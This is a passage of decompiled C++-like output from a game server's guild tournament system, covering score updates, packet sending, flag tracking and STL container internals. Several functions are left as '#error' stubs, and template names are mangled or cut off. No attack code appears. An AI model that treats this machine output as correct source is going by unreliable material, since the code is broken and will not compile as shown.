*(_DWORD *)&_Where) / 192, &_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (GuildTournamentSystem::FlagInfo *)v24; v32 = 0; std::fill( *(GuildTournamentSystem::FlagInfo **)&_Where, (GuildTournamentSystem::FlagInfo *)(v24 - 192 * _Count), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[175].esc_abstate.buffer[-(v6 >> 1) + 5277] >= v6 ) v11 = (v6 >> 1) + v6; else v11 = 0; if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; if ( v11 < _Count + v12 ) v11 = _Count + std::vector>::size(v4); _Counta = 192 * v11; v13 = operator new(192 * v11); v14 = v13; v15 = v4->_Myfirst; _Newvec = v13; _Ptr = (GuildTournamentSystem::FlagInfo *)v13; LOBYTE(v32) = 1; _Ptr = std::_Uninit_copy>( v15, *(GuildTournamentSystem::FlagInfo **)&_Where, (GuildTournamentSystem::FlagInfo *)v13, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v8, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v16 = v4->_Mylast; _Ptr += v8; std::_Uninit_copy>( *(GuildTournamentSystem::FlagInfo **)&_Where, v16, _Ptr, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v17 = (int)v4->_Myfirst; if ( v17 ) v17 = (signed int)((char *)v4->_Mylast - v17) / 192; v18 = v17 + v8; v19 = v4->_Myfirst; if ( v19 ) { std::vector>::_Destroy( v4, v19, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (GuildTournamentSystem::FlagInfo *)((char *)v14 + _Counta); v4->_Mylast = (GuildTournamentSystem::FlagInfo *)((char *)v14 + 192 * v18); v4->_Myfirst = (GuildTournamentSystem::FlagInfo *)v14; } } GuildTournamentSystem::FlagInfo::_FlagInfo(&_Tmp); __security_check_cookie(cookie); } //----- (0045E340) -------------------------------------------------------- void __thiscall std::map_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>>::_map_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::(std::map,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::erase( &this->baseclass_0, &result, **(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorgap4[0], *(std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorgap4[0]); operator delete(*(void **)&v1->gap4[0]); *(_DWORD *)&v1->gap4[0] = 0; *(_DWORD *)&v1->gap4[4] = 0; } //----- (0045E370) -------------------------------------------------------- void __thiscall GuildTournamentSystem::Update(GuildTournamentSystem *this, int nTickDeltaTime) { GuildTournamentSystem *v2; // edi@1 GuildTournamentSystem::FlagInfo *v3; // ebp@1 int v4; // esi@2 signed int v5; // ebp@9 unsigned int v6; // eax@11 int v7; // ebp@11 int v8; // eax@11 signed int v9; // ecx@11 int v10; // ecx@16 int v11; // edx@16 int v12; // eax@16 #325 *v13; // eax@16 GuildTournamentSystem::FlagInfo *v14; // eax@24 GuildTournamentSystem::FlagInfo *v15; // esi@26 unsigned int v16; // esi@29 int v17; // eax@29 GuildTournamentSystem::FlagInfo *iter; // [sp+0h] [bp-3Ch]@1 GuildTournamentSystem::SendScorePacket ScorePac; // [sp+4h] [bp-38h]@16 unsigned int v20; // [sp+2Ch] [bp-10h]@36 int v21; // [sp+38h] [bp-4h]@16 v2 = this; v3 = this->m_vecFlags._Myfirst; iter = this->m_vecFlags._Myfirst; if ( v3 != this->m_vecFlags._Mylast ) { do { v4 = (int)&v2->m_GroupA; if ( v2->m_GroupA.m_GuildNumber == v3->m_GuildNumber || (v4 = (int)&v2->m_GroupB, v2->m_GroupB.m_GuildNumber == v3->m_GuildNumber) ) { if ( v4 && TickTimer::CheckUpdateEvent(&v3->m_FlagScoreTimer, nTickDeltaTime) ) { v5 = *(_DWORD *)(v4 + 136); if ( v5 <= 1 ) v5 = 1; v6 = v5 * GuildTournamentOccupyTable::GetScore(v2->m_nTournamentType); v7 = v6 + *(_DWORD *)(v4 + 64); *(_DWORD *)(v4 + 56) += v6; *(_DWORD *)(v4 + 64) = v7; v8 = *(_DWORD *)(ITableBase::ms_pkTable + 52); v9 = 2000; if ( v8 && *(_DWORD *)(v8 + 40) ) v9 = *(_WORD *)CDataReader::GetRecord( (CDataReader *)(ITableBase::ms_pkTable + 4), 0); if ( *(_DWORD *)(v4 + 56) >= (unsigned int)v9 ) GuildTournamentSystem::GuildGroup::SendWinEventToScript((GuildTournamentSystem::GuildGroup *)v4); GuildTournamentSystem::ChangeAdvanRule(v2); v10 = *(_DWORD *)v4; v11 = *(_DWORD *)(v4 + 56); ScorePac.m_pPacket = (PROTO_NC_GUILD_TOURNAMENT_SCORE_CMD *)&ScorePac; v12 = *(_DWORD *)(v4 + 104); ScorePac.m_vecPlayerScores._Myfirst = 0; ScorePac.m_vecPlayerScores._Mylast = 0; ScorePac.m_vecPlayerScores._Myend = 0; *(_DWORD *)&ScorePac.buffer[1] = v10; *(_DWORD *)&ScorePac.buffer[5] = v11; *(_DWORD *)&ScorePac.buffer[9] = v12; *(_DWORD *)&ScorePac.buffer[13] = 0; ScorePac.buffer[0] = 0; v13 = *(#325 **)(v4 + 108); v21 = 0; if ( v13 || (GuildTournamentSystem::GuildGroup::CheckManagerUser((GuildTournamentSystem::GuildGroup *)v4), (v13 = *(#325 **)(v4 + 108)) != 0) ) GuildTournamentSystem::SendScorePacket::SendtoAllinMap(&ScorePac, v13, 0); v21 = -1; if ( ScorePac.m_vecPlayerScores._Myfirst ) operator delete(ScorePac.m_vecPlayerScores._Myfirst); v3 = iter; ScorePac.m_vecPlayerScores._Myfirst = 0; ScorePac.m_vecPlayerScores._Mylast = 0; ScorePac.m_vecPlayerScores._Myend = 0; } } else { if ( v2->m_ErrorMessage.m_Closure.baseclass_0.m_pthis || v2->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction ) ((void (__thiscall *)(fastdelegate::detail::GenericClass *, signed int))v2->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction)( v2->m_ErrorMessage.m_Closure.baseclass_0.m_pthis, 6991); } ++v3; iter = v3; } while ( v3 != v2->m_vecFlags._Mylast ); } if ( TickTimer::CheckUpdateEvent(&v2->m_FlagAllConnectTime, nTickDeltaTime) ) { TickTimer::Enable(&v2->m_FlagAllConnectTime, 0); v14 = v2->m_vecFlags._Myfirst; if ( v14 ) { if ( v2->m_vecFlags._Mylast - v14 ) { v15 = v2->m_vecFlags._Myfirst; if ( !v15 || !(v2->m_vecFlags._Mylast - v15) ) std::vector>::_Xran(&v2->m_vecFlags); v16 = v15->m_GuildNumber; v17 = (int)&v2->m_GroupA; if ( v2->m_GroupA.m_GuildNumber == v16 || (v17 = (int)&v2->m_GroupB, v2->m_GroupB.m_GuildNumber == v16) ) { if ( v17 ) GuildTournamentSystem::GuildGroup::SendWinEventToScript((GuildTournamentSystem::GuildGroup *)v17); } else { if ( v2->m_ErrorMessage.m_Closure.baseclass_0.m_pthis || v2->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction ) ((void (__thiscall *)(fastdelegate::detail::GenericClass *, signed int))v2->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction)( v2->m_ErrorMessage.m_Closure.baseclass_0.m_pthis, 6991); } } } } GuildTournamentSystem::GuildGroup::Update(&v2->m_GroupA, nTickDeltaTime); GuildTournamentSystem::GuildGroup::Update(&v2->m_GroupB, nTickDeltaTime); v2->m_diceGame.vfptr->Update(&v2->m_diceGame, nTickDeltaTime); __security_check_cookie(v20); } // C8F2518: using guessed type int ITableBase_GTIGetRateGap_GTIGetRateGapTable___ms_pkTable; // C8F2520: using guessed type int ITableBase_GTWinScore_GTWinScoreTable___ms_pkTable; //----- (0045E600) -------------------------------------------------------- #error "45E600: undefined or illegal type '#325' (funcsize=535)" //----- (0045ED10) -------------------------------------------------------- #error "45ED10: undefined or illegal type '#325' (funcsize=86)" //----- (0045EDF0) -------------------------------------------------------- #error "45EDF0: undefined or illegal type '#325' (funcsize=35)" //----- (0045EE60) -------------------------------------------------------- #error "45EE60: undefined or illegal type '#325' (funcsize=391)" //----- (0045F340) -------------------------------------------------------- #error "45F340: undefined or illegal type '#325' (funcsize=53)" //----- (0045F3E0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::SendPlayerAllScoreInfo(GuildTournamentSystem::GuildGroup *this, #325 *a2, int PartMask) { GuildTournamentSystem::GuildGroup *v3; // esi@1 unsigned int v4; // ecx@2 unsigned int v5; // edx@2 int v6; // eax@2 unsigned int v7; // ebp@2 int v8; // edi@2 int v9; // eax@3 int v10; // esi@5 GuildTournamentSystem::GuildMemberInfo *v11; // ebp@7 unsigned __int16 v12; // si@7 #325 *v13; // eax@9 unsigned int v14; // edx@15 unsigned int v15; // eax@15 int v16; // ecx@15 int v17; // esi@15 #325 *v18; // eax@18 unsigned int i; // [sp+0h] [bp-9Ch]@2 int v20; // [sp+4h] [bp-98h]@2 int nPartMask; // [sp+8h] [bp-94h]@2 unsigned int AddPlayerIndex; // [sp+Ch] [bp-90h]@2 GuildTournamentSystem::GuildGroup *v23; // [sp+10h] [bp-8Ch]@1 GuildTournamentSystem::SendScorePacket GuildSocre2; // [sp+14h] [bp-88h]@10 GuildTournamentSystem::SendScorePacket GuildSocre; // [sp+3Ch] [bp-60h]@2 TOURNAMENT_PLAYER_SCORE score; // [sp+64h] [bp-38h]@22 unsigned int v27; // [sp+8Ch] [bp-10h]@26 int v28; // [sp+98h] [bp-4h]@2 v3 = this; v23 = this; if ( a2 ) { v4 = this->m_GuildNumber; v5 = v3->m_unAllGuildScore; GuildSocre.m_pPacket = (PROTO_NC_GUILD_TOURNAMENT_SCORE_CMD *)&GuildSocre; v6 = v3->m_nCaptureFlagCount; GuildSocre.m_vecPlayerScores._Myfirst = 0; GuildSocre.m_vecPlayerScores._Mylast = 0; GuildSocre.m_vecPlayerScores._Myend = 0; *(_DWORD *)&GuildSocre.buffer[1] = v4; *(_DWORD *)&GuildSocre.buffer[5] = v5; *(_DWORD *)&GuildSocre.buffer[9] = v6; *(_DWORD *)&GuildSocre.buffer[13] = 0; GuildSocre.buffer[0] = 0; v7 = 0; v28 = 0; nPartMask = PartMask; AddPlayerIndex = -1; i = 0; v8 = (int)&v3->m_vecGuildMembers; v20 = 0; while ( 1 ) { v9 = *(_DWORD *)(v8 + 4); if ( !v9 ) break; if ( v7 >= (*(_DWORD *)(v8 + 8) - v9) / 28 ) break; v10 = *(_DWORD *)(v8 + 4); if ( !v10 || (*(_DWORD *)(v8 + 8) - v10) / 28 <= v7 ) goto LABEL_17; v11 = (GuildTournamentSystem::GuildMemberInfo *)(v20 + v10); v12 = *(_WORD *)(v20 + v10); if ( ShineObjectClass::ShineObject::so_GetZoneHandle_ItemLooter((int)a2) == v12 ) AddPlayerIndex = i; v13 = ShineObjectManager::som_GetObject(&shineobjmanager, v12); if ( v13 ) { *(_DWORD *)&GuildSocre2.buffer[12] = 0; *(_DWORD *)&GuildSocre2.buffer[8] = 0; *(_DWORD *)&GuildSocre2.buffer[4] = 0; *(_DWORD *)&GuildSocre2.buffer[0] = 0; GuildTournamentSystem::Make_TOURNAMENT_PLAYER_SCORE((TOURNAMENT_PLAYER_SCORE *)&GuildSocre2, v13, v11); std::vector>::push_back( &GuildSocre.m_vecPlayerScores, (TOURNAMENT_PLAYER_SCORE *)&GuildSocre2); if ( GuildSocre.m_vecPlayerScores._Myfirst ) { if ( (signed int)(GuildSocre.m_vecPlayerScores._Mylast - GuildSocre.m_vecPlayerScores._Myfirst) > 200 ) { GuildTournamentSystem::SendScorePacket::SendtoPlayer(&GuildSocre, a2, nPartMask); nPartMask = 0; } } } v3 = v23; ++i; v20 += 28; v7 = i; } GuildTournamentSystem::SendScorePacket::SendtoPlayer(&GuildSocre, a2, nPartMask); if ( (AddPlayerIndex & 0x80000000u) == 0 ) { v14 = v3->m_GuildNumber; v15 = v3->m_unAllGuildScore; GuildSocre2.m_pPacket = (PROTO_NC_GUILD_TOURNAMENT_SCORE_CMD *)&GuildSocre2; v16 = v3->m_nCaptureFlagCount; GuildSocre2.m_vecPlayerScores._Myfirst = 0; GuildSocre2.m_vecPlayerScores._Mylast = 0; GuildSocre2.m_vecPlayerScores._Myend = 0; *(_DWORD *)&GuildSocre2.buffer[1] = v14; *(_DWORD *)&GuildSocre2.buffer[5] = v15; *(_DWORD *)&GuildSocre2.buffer[9] = v16; *(_DWORD *)&GuildSocre2.buffer[13] = 0; GuildSocre2.buffer[0] = 0; v17 = *(_DWORD *)(v8 + 4); LOBYTE(v28) = 1; if ( !v17 || (*(_DWORD *)(v8 + 8) - v17) / 28 <= AddPlayerIndex ) LABEL_17: std::vector>::_Xran((std::vector > *)v8); v18 = ShineObjectManager::som_GetObject(&shineobjmanager, *(_WORD *)(28 * AddPlayerIndex + v17)); if ( v18 ) { *(_QWORD *)&score.CharID.n4_name[8] = 0i64; *(_QWORD *)&score.CharID.n4_name[0] = 0i64; GuildTournamentSystem::Make_TOURNAMENT_PLAYER_SCORE( &score, v18, (GuildTournamentSystem::GuildMemberInfo *)(v17 + 28 * AddPlayerIndex)); std::vector>::push_back( &GuildSocre2.m_vecPlayerScores, &score); GuildTournamentSystem::SendScorePacket::SendtoAllinMap(&GuildSocre2, a2, 0); if ( GuildSocre2.m_vecPlayerScores._Myfirst ) operator delete(GuildSocre2.m_vecPlayerScores._Myfirst); } else { if ( GuildSocre2.m_vecPlayerScores._Myfirst ) operator delete(GuildSocre2.m_vecPlayerScores._Myfirst); GuildSocre2.m_vecPlayerScores._Myfirst = 0; GuildSocre2.m_vecPlayerScores._Mylast = 0; GuildSocre2.m_vecPlayerScores._Myend = 0; } } if ( GuildSocre.m_vecPlayerScores._Myfirst ) operator delete(GuildSocre.m_vecPlayerScores._Myfirst); } __security_check_cookie(v27); } //----- (0045F6F0) -------------------------------------------------------- GuildTournamentSystem::GuildMemberInfo *__thiscall std::map_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>>::operator__(std::map,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > *_Keyval) { std::basic_string,std::allocator > *v2; // esi@1 std::map,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > thisa; // [sp+20h] [bp-44h]@6 char v18; // [sp+3Ch] [bp-28h]@6 int v19; // [sp+60h] [bp-4h]@6 v2 = _Keyval; v3 = this; v9 = (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Lbound( &this->baseclass_0, _Keyval); v5 = (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorgap4[0] && (v4->_Myval.first._Myres < 0x10 ? (v6 = (const char *)&v4->_Myval.first._Bx) : (v6 = *(const char **)&v4->_Myval.first._Bx._Buf[0]), std::basic_string_std::allocator>::compare( v2, 0, v2->_Mysize, v6, *(_DWORD *)(v5 + 32)) >= 0) ) { result = (GuildTournamentSystem::GuildMemberInfo *)(v5 + 40); } else { v10 = 0; v11 = 0; v12 = 0; v13 = 0; v14 = 0; v15 = 0; v16 = 0; thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, v2, 0, 0xFFFFFFFFu); memcpy(&v18, &v10, 0x1Cu); v19 = 0; v7 = *std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::insert( v9, (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator > const ,GuildTournamentSystem::GuildMemberInfo> *)&thisa); if ( thisa._Myres >= 0x10 ) operator delete(*(void **)&thisa._Bx._Buf[0]); result = (GuildTournamentSystem::GuildMemberInfo *)(v7 + 40); } return result; } //----- (0045F810) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, GuildTournamentSystem::Gate *_Val) { std::vector > *v2; // esi@1 GuildTournamentSystem::Gate *v3; // edx@1 signed int v4; // ecx@2 GuildTournamentSystem::Gate *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::_Insert_n( v2, (std::vector >::iterator)v2->_Mylast, 1u, _Val); } } //----- (0045F880) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val) { std::vector > *v2; // esi@1 GuildTournamentSystem::AdvanMobItemRegenInfo *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 GuildTournamentSystem::AdvanMobItemRegenInfo *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(780903145i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (0045F920) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GuildTournamentSystem::FlagInfo *_Val) { std::vector > *v4; // edi@1 GuildTournamentSystem::FlagInfo *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(715827883i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 5; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (0045F990) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::_GuildGroup(GuildTournamentSystem::GuildGroup *this) { GuildTournamentSystem::GuildGroup *v1; // esi@1 void *v2; // eax@1 std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorm_MyTeamNPCs._Myfirst; if ( v2 ) operator delete(v2); v1->m_MyTeamNPCs._Myfirst = 0; v1->m_MyTeamNPCs._Mylast = 0; v1->m_MyTeamNPCs._Myend = 0; std::vector>::_Tidy(&v1->m_vecAdenItemInfo); if ( v1->m_vecGuildBuffUseTime._Myfirst ) operator delete(v1->m_vecGuildBuffUseTime._Myfirst); v1->m_vecGuildBuffUseTime._Myfirst = 0; v1->m_vecGuildBuffUseTime._Mylast = 0; v1->m_vecGuildBuffUseTime._Myend = 0; if ( v1->m_vecGuildMembers._Myfirst ) operator delete(v1->m_vecGuildMembers._Myfirst); v1->m_vecGuildMembers._Myfirst = 0; v1->m_vecGuildMembers._Mylast = 0; v1->m_vecGuildMembers._Myend = 0; std::vector>::_Tidy(&v1->m_vecGuildGates); v3 = *(_DWORD *)&v1->m_mapOutMemberBackUps.gap4[0]; v4 = (int)&v1->m_mapOutMemberBackUps; std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::erase( (std::_Tree,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorm_OldTime ) this->m_OldTime = clockwatch.cw_CurrTick; v1 = clockwatch.cw_CurrTick - this->m_OldTime; this->m_OldTime = clockwatch.cw_CurrTick; GuildTournamentSystem::Update(this, v1); } //----- (0045FFB0) -------------------------------------------------------- #error "45FFB0: undefined or illegal type '#325' (funcsize=271)" //----- (00460340) -------------------------------------------------------- void __thiscall GuildTournamentSystem::SendMapInPlayerInfoToObserber(GuildTournamentSystem *this, #325 *pObject) { GuildTournamentSystem *v2; // edi@1 char *v3; // esi@1 GuildTournamentSystem::GuildGroup *v4; // eax@1 v2 = this; v3 = (char *)&this->m_GroupA; GuildTournamentSystem::GuildGroup::SendPlayerAllScoreInfo(&this->m_GroupA, pObject, 1); v4 = &v2->m_GroupB; if ( *(_DWORD *)v3 == v2->m_GroupB.m_GuildNumber ) v4 = (GuildTournamentSystem::GuildGroup *)v3; GuildTournamentSystem::GuildGroup::SendPlayerAllScoreInfo(v4, pObject, 0); } //----- (00460380) -------------------------------------------------------- #error "460380: undefined or illegal type '#325' (funcsize=157)" //----- (00460580) -------------------------------------------------------- bool __thiscall GuildTournamentSystem::EndBattle(GuildTournamentSystem *this, tGuildTournamentResult *rGuildTournamentResult) { rGuildTournamentResult->AGuildRegNumber = this->m_GroupA.m_GuildNumber; rGuildTournamentResult->AGuildScore = LOWORD(this->m_GroupA.m_unAllGuildScore); rGuildTournamentResult->BGuildRegNumber = this->m_GroupB.m_GuildNumber; rGuildTournamentResult->BGuildScore = LOWORD(this->m_GroupB.m_unAllGuildScore); std::vector>::_Tidy(&this->m_vecFlags); return 1; } //----- (004605C0) -------------------------------------------------------- #error "4605C0: undefined or illegal type '#325' (funcsize=116)" //----- (00460740) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, GuildTournamentSystem::FlagInfo *_Val) { std::vector > *v2; // esi@1 GuildTournamentSystem::FlagInfo *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 GuildTournamentSystem::FlagInfo *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 5; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (004607D0) -------------------------------------------------------- bool __thiscall GuildTournamentSystem::Clear(GuildTournamentSystem *this) { GuildTournamentSystem *v1; // esi@1 v1 = this; std::vector>::_Tidy(&this->m_vecFlags); GuildTournamentSystem::GuildGroup::Clear(&v1->m_GroupA); GuildTournamentSystem::GuildGroup::Clear(&v1->m_GroupB); v1->m_GroupA.m_GuildNumber = 0; v1->m_nTournamentSeed = -1; v1->m_nTournamentType = 0; v1->m_GroupB.m_GuildNumber = 0; return 1; } //----- (00460820) -------------------------------------------------------- #error "460820: undefined or illegal type '#325' (funcsize=89)" //----- (00460960) -------------------------------------------------------- void __thiscall GuildTournamentSystem::AddAdvanItemMonster(GuildTournamentSystem *this, GuildTournamentSystem::AdvanMobItemRegenInfo *Info, unsigned int GuildNumber) { GuildTournamentSystem *v3; // edi@1 const char *v4; // ecx@2 MobRegenClass::MobBreederGroup *v5; // eax@4 const char *v6; // esi@6 int v7; // eax@9 fastdelegate::detail::GenericClass *v8; // ecx@13 int v9; // [sp-14h] [bp-24h]@4 int v10; // [sp-10h] [bp-20h]@4 int v11; // [sp-Ch] [bp-1Ch]@4 int v12; // [sp-8h] [bp-18h]@4 signed int v13; // [sp-4h] [bp-14h]@4 v3 = this; if ( Info->strGroupName._Myres < 0x10 ) v4 = (const char *)&Info->strGroupName._Bx; else v4 = *(const char **)&Info->strGroupName._Bx._Buf[0]; v13 = 0; v12 = 0; v11 = 0; v10 = 0; v9 = 0; strncpy((char *)&v9, v4, 0x14u); v5 = MobHatchery::mg_FindBreedGroup(mobhatchery, &Info->mapName, *(ORToken *)&v9); if ( v5 ) { MobRegenClass::MobBreederGroup::mbg_SetEnableNextRegen(v5, 0); v7 = (int)&v3->m_GroupA; if ( v3->m_GroupA.m_GuildNumber == GuildNumber || (v7 = (int)&v3->m_GroupB, v3->m_GroupB.m_GuildNumber == GuildNumber) ) { if ( v7 ) { std::vector>::push_back( (std::vector > *)(v7 + 112), Info); return; } } else { if ( v3->m_ErrorMessage.m_Closure.baseclass_0.m_pthis || v3->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction ) { v8 = v3->m_ErrorMessage.m_Closure.baseclass_0.m_pthis; v13 = 6991; ((void (__thiscall *)(fastdelegate::detail::GenericClass *, signed int))v3->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction)( v8, 6991); } } AssertClass::ac_AssertFail( &shineassert, "GuildTournamentSystem::AddAdvanItemMonster Not Find GuildGroup :", GuildNumber); return; } if ( Info->strGroupName._Myres < 0x10 ) v6 = (const char *)&Info->strGroupName._Bx; else v6 = *(const char **)&Info->strGroupName._Bx._Buf[0]; AssertClass::ac_AssertFail(&shineassert, "GuildTournamentSystem::AddAdvanItemMonster Not Find BreedGroup :", v6); } //----- (00460A40) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::GuildGroup(GuildTournamentSystem::GuildGroup *this) { GuildTournamentSystem::GuildGroup *v1; // esi@1 char *v2; // edi@1 std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocatorm_mapOutMemberBackUps; v3 = std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Buynode(&this->m_mapOutMemberBackUps.baseclass_0); *((_DWORD *)v2 + 1) = v3; v3->_Isnil = 1; *(_DWORD *)(*((_DWORD *)v2 + 1) + 4) = *((_DWORD *)v2 + 1); **((_DWORD **)v2 + 1) = *((_DWORD *)v2 + 1); *(_DWORD *)(*((_DWORD *)v2 + 1) + 8) = *((_DWORD *)v2 + 1); *((_DWORD *)v2 + 2) = 0; v1->m_vecGuildGates._Myfirst = 0; v1->m_vecGuildGates._Mylast = 0; v1->m_vecGuildGates._Myend = 0; v1->m_vecGuildMembers._Myfirst = 0; v1->m_vecGuildMembers._Mylast = 0; v1->m_vecGuildMembers._Myend = 0; v1->m_ErrorMessage.m_Closure.baseclass_0.m_pthis = 0; v1->m_ErrorMessage.m_Closure.baseclass_0.m_pFunction = 0; v1->m_vecGuildBuffUseTime._Myfirst = 0; v1->m_vecGuildBuffUseTime._Mylast = 0; v1->m_vecGuildBuffUseTime._Myend = 0; TickTimer::TickTimer(&v1->m_LastGuildMasterReviveTime); v1->m_vecAdenItemInfo._Myfirst = 0; v1->m_vecAdenItemInfo._Mylast = 0; v1->m_vecAdenItemInfo._Myend = 0; v1->m_Advan.m_IsAdvan = 0; v1->m_Advan.m_nLevel = 0; TickTimer::TickTimer(&v1->m_FlagMultiplelTime); v1->m_MyTeamNPCs._Myfirst = 0; v1->m_MyTeamNPCs._Mylast = 0; v1->m_MyTeamNPCs._Myend = 0; PacketContainer::pcb_SetSocketSession((ORField *)&v1->m_LastGuildMasterReviveTime, (ORColumnHeader *)0x12C); GuildTournamentSystem::GuildGroup::Clear(v1); } //----- (00460B20) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildTournamentSystem(GuildTournamentSystem *this) { GuildTournamentSystem *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = 